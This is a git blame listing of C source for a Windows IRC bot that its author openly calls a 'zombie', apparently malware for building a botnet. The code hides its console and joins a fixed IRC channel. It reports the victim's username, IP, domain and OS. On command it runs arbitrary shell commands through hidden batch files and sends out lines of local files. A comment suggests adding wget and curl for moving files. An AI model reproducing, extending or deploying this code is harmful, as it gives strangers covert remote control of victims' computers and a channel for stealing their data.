Commit | Line | Data |
---|---|---|
eb313e17 | 1 | /* |
f9138ad7 H |
2 | HarveCter IRCBot 1.0b-RC1 |
3 | This "313373" code by: Harvie 2oo7 | |
4 | Minimalistic Windows IRC Bot/Zombie/Whatever you want... | |
eb313e17 H |
5 | |
6 | INFO: | |
7 | Optimalized for Dev-Cpp | |
8 | Compile as window app to make a daemon | |
9 | ||
10 | Warning: | |
11 | There is not so big security!!! | |
12 | If you want to keep your zombies, | |
13 | control them only by PM or at completely secure channel!!! | |
14 | All passwords, that are starting with your password will be accepted!!! | |
15 | ||
16 | COMMANDS: | |
17 | Warning: all commands are case sensitive | |
18 | ||
19 | !login [login] //Bad login=logout | |
20 | !chanpass //Set mode +k | |
21 | ||
22 | PRIVILEGED COMMANDS: | |
f9138ad7 H |
23 | !SAY [msg] //Say msg |
24 | !CMD [shell command] //Execute command @ zombie | |
25 | !head [file to send] //Send few (maxlines_to_send) lines of file | |
26 | !raw [line to send] //Sends raw line to server (you can OP yourself) | |
eb313e17 H |
27 | !info //Info about zombie |
28 | !time //Localtime @ zombie | |
29 | !show //Show console window | |
30 | !hide //Hide console window | |
31 | !restart //Restart connection | |
32 | !respawn //Restart whole zombie | |
33 | ||
34 | Development comments: | |
f9138ad7 | 35 | |
eb313e17 H |
36 | */ |
37 | ||
f9138ad7 | 38 | //PREPROC://////////////////////////////////////////////////////////////// |
eb313e17 H |
39 | #include <stdio.h> |
40 | #include <time.h> | |
41 | #include <stdlib.h> | |
42 | #include <winsock.h> | |
43 | #include <windows.h> | |
44 | #pragma comment(lib,"ws2_32.a"); | |
45 | ||
f9138ad7 H |
46 | //SETTINGS://///////////////////////////////////////////////////////////// |
47 | char server[] = "irc.2600.net"; //IRC Server | |
48 | int port = 6667; //Port of IRC Server | |
49 | char channel[] = "#hv"; //IRC Channel | |
50 | char pass[] = "test"; //Bot Password | |
51 | char chanpass[] = "lol"; //Channel Password | |
52 | char rcfile[] = "hircb.rc.bat"; //Run this file hidden at bot startup | |
53 | int maxlines_to_send = 3; //Number of max lines to send at one time | |
54 | #define DEBUG //Enables printing/loging | |
55 | #define ENABLE_EXEC //Compile !CMD | |
56 | //MAGICS:///////////////////////////////////////////////////////////////// | |
57 | #define CONNECT_CHECKER_SLEEP 20000 | |
58 | #define CONNECT_FAIL_SLEEP 5000 | |
59 | #define IRC_JOIN_SLEEP 2000 | |
60 | #define IRC_RETRY_SLEEP 1000 | |
61 | #define MAXCHARS 768 //Maximum lenght of IRC message (RFC - 6 * 128 = 768) | |
62 | //MISC://///////////////////////////////////////////////////////////////// | |
63 | char version[] = "1.0b-RC1"; //Bot version | |
64 | char cmdfile[] = "zzzcommands.bat"; | |
65 | char nick[128] = "Harvecter"; //Doesn't matter - Username of active user (via getenv()) will be used instead | |
66 | ||
67 | ||
68 | // | |
69 | //FUNCTIONS:///////////////////////////////////////////////////////////// | |
70 | ||
71 | //CUT String to 768 characters | |
72 | void irc_cut_text(char *line) { | |
73 | *(line+MAXCHARS) = 0; | |
74 | *(line+MAXCHARS-1) = '\n'; | |
75 | } | |
76 | ||
eb313e17 H |
77 | //Sends IRC message "msg" to "channel" over socket "s". |
78 | int irc_sendmsg(int s, char *channel, char *msg) { | |
79 | int len, err; | |
80 | char snd[1024]; | |
f9138ad7 | 81 | irc_cut_text(&msg); |
eb313e17 | 82 | sprintf(snd, ": PRIVMSG %s :%s\n", channel, msg); |
f9138ad7 | 83 | irc_cut_text(&snd); |
eb313e17 H |
84 | len = strlen(snd); |
85 | err = send(s, snd, len, 0); | |
f9138ad7 | 86 | #ifdef DEBUG |
eb313e17 | 87 | printf("%s", snd); //Show |
f9138ad7 | 88 | #endif |
eb313e17 H |
89 | return err; |
90 | } | |
91 | ||
f9138ad7 H |
92 | //This is thread to check/ping irc connection on background |
93 | int irc_check_socket = -1; | |
94 | int irc_check_last = 0; | |
95 | int irc_check_thread() { | |
96 | unsigned char ping[] = "PING\n"; | |
97 | int irc_check_time, len, err; | |
98 | while(irc_check_last <= 0) sleep(500); | |
99 | while(1) { | |
100 | sleep(CONNECT_CHECKER_SLEEP); | |
101 | #ifdef DEBUG | |
102 | puts("Checking connection..."); | |
103 | #endif | |
104 | if(irc_check_socket >= 0) { | |
105 | #ifdef DEBUG | |
106 | puts("Pinging IRC Server..."); | |
107 | #endif | |
108 | err = send(irc_check_socket, ping, strlen(ping), 0); | |
109 | sleep(1500); | |
110 | #ifdef DEBUG | |
111 | printf("Server latency: %d\n", time(0)-irc_check_last-1.5); | |
112 | #endif | |
113 | if(time(0)-irc_check_last > (CONNECT_CHECKER_SLEEP/1000)+10 || err == -1) { | |
114 | #ifdef DEBUG | |
115 | puts("Server not responding - disconnecting!\n\n"); | |
116 | #endif | |
117 | closesocket(irc_check_socket); | |
118 | ||
119 | } | |
120 | } | |
121 | } | |
122 | } | |
123 | ||
eb313e17 | 124 | //MAIN_FUNCTION:////////////////////////////////////////////////////////// |
f9138ad7 H |
125 | int main(int argc, char *argv[]) { |
126 | ||
127 | //MORE SETTINGS:////////////////////////////////////////////////////////// | |
128 | //AllocConsole(); //Show | |
129 | //FreeConsole(); //Hide... ;) | |
eb313e17 H |
130 | //freopen("log.txt", "ab", stdout); //Log all outputs to file |
131 | //INITIALIZATIONS://////////////////////////////////////////////////////// | |
f9138ad7 H |
132 | #ifndef DEBUG |
133 | fclose(stdout); | |
134 | fclose(stdin); | |
135 | #endif | |
eb313e17 | 136 | srand(time(0)); |
f9138ad7 H |
137 | int i; |
138 | unsigned char lclhost[256], lclhostnm[256], hostmsg[1000], linebuf[600]; | |
eb313e17 H |
139 | char *user, *processor, *root, *logonsrvr, *os, rnd[10]; |
140 | //Load enviroment variables | |
141 | user = getenv("USERNAME"); | |
142 | processor = getenv("PROCESSOR_IDENTIFIER"); | |
143 | root = getenv("SystemRoot"); | |
144 | logonsrvr = getenv("LOGONSERVER"); | |
145 | os = getenv("OS"); | |
146 | //Generate nick from username and random number | |
147 | sprintf(rnd, "%i", rand()); | |
148 | sprintf(nick, "H-%s-%s", user, rnd); | |
149 | //time | |
150 | struct tm *localtime(const time_t *tod); | |
151 | struct tm *p_st_cas; | |
152 | time_t cas; | |
153 | //cmd | |
154 | FILE *cmdf; | |
f9138ad7 H |
155 | //Start connection checking thread: |
156 | unsigned checker_thread_id; | |
157 | unsigned long checker_handle; | |
158 | checker_handle = _beginthreadex( NULL, 0, irc_check_thread, 0, 0, &checker_thread_id); | |
159 | if (checker_handle == 0) { | |
160 | #ifdef DEBUG | |
161 | puts("Cannot create connection watching thread!"); | |
162 | #endif | |
163 | return(20); | |
164 | } | |
eb313e17 H |
165 | ////////////////////////////////////////////////////////////////////////// |
166 | //CODE://///////////////////////////////////////////////////////////////// | |
167 | ////////////////////////////////////////////////////////////////////////// | |
168 | ||
169 | //Delete cmdfile (Hell knows it's useful...) | |
170 | cmdf = fopen(cmdfile, "w"); | |
f9138ad7 | 171 | fprintf(cmdf, "del %s 2>nul\n", cmdfile); |
eb313e17 H |
172 | fclose(cmdf); |
173 | WinExec(cmdfile,SW_HIDE); | |
174 | ||
175 | //Print banner | |
f9138ad7 | 176 | #ifdef DEBUG |
eb313e17 | 177 | printf("HarveCter IRCBot v%s\nConnecting: %s@%s:%i as %s\n\n", version, channel, server, port, nick); |
f9138ad7 | 178 | #endif |
eb313e17 H |
179 | //Execute startup script |
180 | WinExec(rcfile,SW_HIDE); //Run rcfile (hidden) | |
181 | ||
182 | //Declarations for WSA | |
183 | int s; | |
184 | SOCKADDR_IN sck; | |
185 | HOSTENT *host, *localhost; | |
186 | WSADATA wsadata; | |
187 | WSAStartup(MAKEWORD(1,1),&wsadata); | |
188 | ||
189 | //Set details for WSA | |
190 | while( (host=gethostbyname(server)) == NULL){ //Host | |
f9138ad7 | 191 | #ifdef DEBUG |
eb313e17 | 192 | printf("!Error server host not found\nwaiting 5s...\n"); |
f9138ad7 H |
193 | #endif |
194 | sleep(CONNECT_FAIL_SLEEP); | |
eb313e17 H |
195 | } |
196 | sck.sin_family = PF_INET; | |
197 | memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length); | |
198 | sck.sin_port = htons(port); //Port | |
199 | ||
200 | //Info at localhost | |
201 | while ((localhost=gethostbyname("")) == NULL) { | |
f9138ad7 | 202 | #ifdef DEBUG |
eb313e17 | 203 | printf("!Error local host not found\nwaiting 5s...\n"); |
f9138ad7 H |
204 | #endif |
205 | sleep(CONNECT_FAIL_SLEEP); | |
eb313e17 H |
206 | } |
207 | sprintf(lclhostnm, "%s", localhost->h_name); | |
208 | sprintf(lclhost, "%s", inet_ntoa(*((struct in_addr *)localhost->h_addr))); | |
f9138ad7 H |
209 | sprintf(hostmsg, "USER: %s at HOST: %s ( IP: %s ) SERVER: %s - OS: %s (%s) - ARCH: %s - VERSION: %s\n", user, lclhostnm, lclhost, logonsrvr, os, root, processor, version); |
210 | #ifdef DEBUG | |
eb313e17 | 211 | printf("%s\n", hostmsg); |
f9138ad7 | 212 | #endif |
eb313e17 H |
213 | |
214 | //Initialization of strings used for IRC communication, etc... | |
215 | int len, err; //Lenght, Error | |
216 | char snd[1024], msg[1000], rcv[1024], passin[1000], *sub; | |
217 | ||
218 | //Infinite loop (bot can't stop) | |
219 | while(1) { | |
f9138ad7 | 220 | irc_check_socket = -1; //disable connection checking |
eb313e17 H |
221 | |
222 | //Create socket | |
223 | s=socket(AF_INET, SOCK_STREAM, 0); | |
224 | ||
225 | //Connect | |
226 | while( ( connect(s, (struct sockaddr *)&sck, sizeof(sck)) ) ) { | |
f9138ad7 | 227 | #ifdef DEBUG |
eb313e17 | 228 | printf("!Error while connecting\nwaiting 5s...\n"); |
f9138ad7 H |
229 | #endif |
230 | sleep(CONNECT_FAIL_SLEEP); | |
231 | } | |
232 | irc_check_socket = s; //enable connection checking for socket s | |
eb313e17 H |
233 | |
234 | //IRC Server login | |
235 | sprintf(snd, "USER USER %s # # :%s\nNICK %s\nJOIN %s\n", nick, nick, nick); | |
f9138ad7 | 236 | irc_cut_text(&snd); |
eb313e17 H |
237 | len = strlen(snd); |
238 | err = send(s, snd, len, 0); | |
239 | ||
240 | //Join&Set channel password | |
241 | sprintf(snd, "JOIN %s %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0); | |
f9138ad7 | 242 | sleep(IRC_RETRY_SLEEP); |
eb313e17 H |
243 | err = send(s, snd, len, 0); |
244 | //mode #chan +k heslo | |
f9138ad7 | 245 | sleep(IRC_JOIN_SLEEP); |
eb313e17 | 246 | sprintf(snd, "MODE %s +n+s+k %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0); |
f9138ad7 | 247 | sleep(IRC_RETRY_SLEEP); |
eb313e17 H |
248 | err = send(s, snd, len, 0); |
249 | ||
250 | ||
251 | //Send greetings | |
252 | sprintf(msg, "Hello ;), let my introduce myself... I am %s v%s", nick, version); //Zprava | |
253 | err = irc_sendmsg(s, channel, msg); | |
254 | sprintf(msg, "!chanpass"); //Request channell operator to set channell password (mode +n+k) | |
255 | err = irc_sendmsg(s, channel, msg); | |
256 | ||
257 | //Loop (while connection exists) | |
258 | err = 1; | |
f9138ad7 | 259 | while(err && err != -1) { |
eb313e17 H |
260 | |
261 | //JOIN | |
262 | sprintf(snd, "JOIN %s %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0); | |
263 | ||
264 | //RECIEVE | |
265 | memset(rcv, '\0', 1024); | |
266 | sub = 0; | |
f9138ad7 H |
267 | err = recv(s, rcv, 1020, 0); |
268 | irc_cut_text(&rcv); | |
269 | #ifdef DEBUG | |
eb313e17 | 270 | printf("%s", rcv); |
f9138ad7 H |
271 | #endif |
272 | irc_check_last = time(0); //For connection checker | |
eb313e17 H |
273 | |
274 | //PING-PONG (Respond to server pings only) | |
275 | if ( (sub = (strstr(rcv, "PING :"))) ) { | |
276 | sub = sub+6; | |
277 | sprintf(snd, "PONG :%s", sub); | |
f9138ad7 | 278 | irc_cut_text(&snd); |
eb313e17 H |
279 | len = strlen(snd); |
280 | err = send(s, snd, len, 0); | |
f9138ad7 | 281 | #ifdef DEBUG |
eb313e17 | 282 | printf("%s", snd); |
f9138ad7 | 283 | #endif |
eb313e17 H |
284 | } |
285 | sub = 0; | |
286 | ||
287 | if ( (sub = (strstr(rcv, ":!chanpass"))) ) { | |
f9138ad7 | 288 | #ifdef DEBUG |
eb313e17 | 289 | printf("!Setting chanpass\n"); |
f9138ad7 | 290 | #endif |
eb313e17 | 291 | sprintf(snd, "MODE %s +n+s+k %s\n", channel, chanpass); |
f9138ad7 | 292 | irc_cut_text(&snd); |
eb313e17 H |
293 | len = strlen(snd); |
294 | err = send(s, snd, len, 0); | |
295 | } | |
296 | sub = 0; | |
297 | ||
298 | //LOGIN | |
299 | if ( (sub = (strstr(rcv, ":!login "))) ) { | |
300 | sub = sub+8; | |
301 | sprintf(passin, "%s", sub); | |
302 | if ( strstr(passin, pass) ) { //Use this condition to check login. | |
303 | sprintf(msg, "Login succesful"); | |
f9138ad7 H |
304 | err = irc_sendmsg(s, channel, msg); |
305 | #ifdef DEBUG | |
eb313e17 | 306 | printf("\n!!!Login succesful\n"); |
f9138ad7 | 307 | #endif |
eb313e17 H |
308 | } else { |
309 | sprintf(msg, "Loged out"); | |
f9138ad7 H |
310 | err = irc_sendmsg(s, channel, msg); |
311 | #ifdef DEBUG | |
eb313e17 | 312 | printf("!!!Loged out\n\n"); |
f9138ad7 | 313 | #endif |
eb313e17 H |
314 | } |
315 | } | |
316 | sub = 0; | |
317 | ||
318 | //IF LOGED IN: | |
319 | if ( strstr(passin, pass) ) { | |
320 | ||
321 | //SAY | |
322 | if ( (sub = (strstr(rcv, ":!SAY "))) ) { | |
323 | sub = sub+6; | |
324 | sprintf(msg, "MSG: %s", sub); //Zprava | |
325 | err = irc_sendmsg(s, channel, msg); | |
326 | } | |
327 | sub = 0; | |
328 | ||
329 | //INFO (USER, DOMAIN, IP, ARCHITECTURE) | |
330 | if ( (sub = (strstr(rcv, ":!info"))) ) { | |
331 | err = irc_sendmsg(s, channel, hostmsg); | |
332 | } | |
333 | sub = 0; | |
334 | ||
335 | //TIME | |
336 | if ( (sub = (strstr(rcv, ":!time"))) ) { | |
f9138ad7 | 337 | #ifdef DEBUG |
eb313e17 | 338 | printf("Time\n"); |
f9138ad7 H |
339 | #endif |
340 | ||
341 | cas = time(0); | |
eb313e17 H |
342 | p_st_cas = localtime(&cas); |
343 | ||
344 | strftime(msg, 512, "%H:%M:%S (%p) - %d(%A) %m(%B) %Y - %Z", p_st_cas); | |
345 | err = irc_sendmsg(s, channel, msg); | |
346 | } | |
347 | sub = 0; | |
348 | ||
349 | //SEND RAW | |
350 | if ( (sub = (strstr(rcv, ":!raw "))) ) { | |
351 | sub = sub+6; | |
f9138ad7 | 352 | irc_cut_text(&sub); |
eb313e17 H |
353 | len = strlen(sub); |
354 | err = send(s, sub, len, 0); | |
355 | } | |
356 | sub = 0; | |
357 | ||
f9138ad7 | 358 | #ifdef ENABLE_EXEC |
eb313e17 H |
359 | //SHELL |
360 | //Hey! Don't forget to download wget&curl in bot directory!! ;D | |
361 | //With wget and curl you will be able to download and upload files... | |
362 | if ( (sub = (strstr(rcv, ":!CMD "))) ) { | |
363 | sub = sub+6; | |
f9138ad7 H |
364 | #ifdef DEBUG |
365 | printf("!CMD %s", sub); | |
366 | #endif | |
eb313e17 H |
367 | |
368 | sprintf(msg, "Executing: %s", sub); | |
369 | irc_sendmsg(s, channel, msg); | |
f9138ad7 | 370 | #ifdef DEBUG |
eb313e17 | 371 | printf("!!! %s", msg); |
f9138ad7 | 372 | #endif |
eb313e17 H |
373 | |
374 | FILE *cmdf = fopen(cmdfile, "w"); | |
f9138ad7 | 375 | fprintf(cmdf, "%s\ndel %s\n", sub, cmdfile); |
eb313e17 H |
376 | fclose(cmdf); |
377 | ||
378 | WinExec(cmdfile,SW_HIDE); //Hide console window | |
379 | //system(cmdfile); //Show console window | |
380 | } | |
381 | sub = 0; | |
f9138ad7 H |
382 | #endif |
383 | ||
384 | //SEND LINE OF FILE | |
385 | if ( (sub = (strstr(rcv, ":!head "))) ) { | |
386 | sub = sub+7; | |
387 | #ifdef DEBUG | |
388 | printf("!head %s", sub); | |
389 | #endif | |
390 | ||
391 | for(i=0;i<strlen(sub);i++) { | |
392 | if(sub[i]=='\n' || sub[i]=='\r') sub[i]=0; | |
393 | ||
394 | } | |
395 | ||
396 | if((cmdf = fopen(sub, "r")) != NULL) { | |
397 | for(i=0;i<maxlines_to_send;i++) { | |
398 | fgets(linebuf, (600-1), cmdf); | |
399 | sprintf(msg, "%s: %s\n", sub, linebuf); | |
400 | irc_sendmsg(s, channel, msg); | |
401 | #ifdef DEBUG | |
402 | printf("-> %s", msg); | |
403 | #endif | |
404 | } | |
405 | ||
406 | fclose(cmdf); | |
407 | } | |
408 | } | |
eb313e17 H |
409 | |
410 | //HIDE/SHOW | |
411 | if ( (sub = (strstr(rcv, ":!hide"))) ) { FreeConsole(); } sub = 0; | |
412 | if ( (sub = (strstr(rcv, ":!show"))) ) { AllocConsole(); } sub = 0; | |
413 | ||
414 | //RESTART connection to server | |
415 | if ( (sub = (strstr(rcv, ":!restart"))) ) { | |
416 | sprintf(msg, "Please wait while restarting..."); | |
417 | err = irc_sendmsg(s, channel, msg); | |
418 | closesocket(s); | |
419 | sprintf(msg, "ERROR: Couldn't close socket :("); | |
420 | err = irc_sendmsg(s, channel, msg); | |
f9138ad7 | 421 | #ifdef DEBUG |
eb313e17 | 422 | printf("\nRESTARTING...\n\n"); |
f9138ad7 | 423 | #endif |
eb313e17 H |
424 | } |
425 | sub = 0; | |
426 | ||
427 | //RESPAWN (restarts all) | |
428 | if ( (sub = (strstr(rcv, ":!respawn"))) ) { | |
429 | sprintf(msg, "Please wait while respawning..."); | |
430 | err = irc_sendmsg(s, channel, msg); | |
f9138ad7 | 431 | #ifdef DEBUG |
eb313e17 | 432 | printf("\nRESPAWNING...\n\n"); |
f9138ad7 | 433 | #endif |
eb313e17 H |
434 | closesocket(s); |
435 | execl(argv[0], NULL); //Exchange old process for new (argv[0]) | |
436 | sprintf(msg, "ERROR: Couldn't respawn :("); | |
437 | err = irc_sendmsg(s, channel, msg); | |
f9138ad7 | 438 | #ifdef DEBUG |
eb313e17 | 439 | printf("ERROR: Couldn't respawn :(\n"); |
f9138ad7 | 440 | #endif |
eb313e17 H |
441 | } |
442 | sub = 0; | |
443 | ||
444 | }//END LOCKED COMMANDS | |
445 | }//LoopEND | |
446 | ||
447 | //Close | |
448 | closesocket(s); | |
f9138ad7 | 449 | #ifdef DEBUG |
eb313e17 | 450 | printf("!Error while sending\nwaiting 5s before reconnect...\n"); |
f9138ad7 H |
451 | #endif |
452 | sleep(CONNECT_FAIL_SLEEP); | |
eb313e17 H |
453 | }//InfiniteLoopEND |
454 | ||
f9138ad7 | 455 | //Finito (never reach here) |
eb313e17 H |
456 | closesocket(s); |
457 | WSACleanup(); //Flush WSA | |
458 | return(0); | |
459 | ||
460 | } |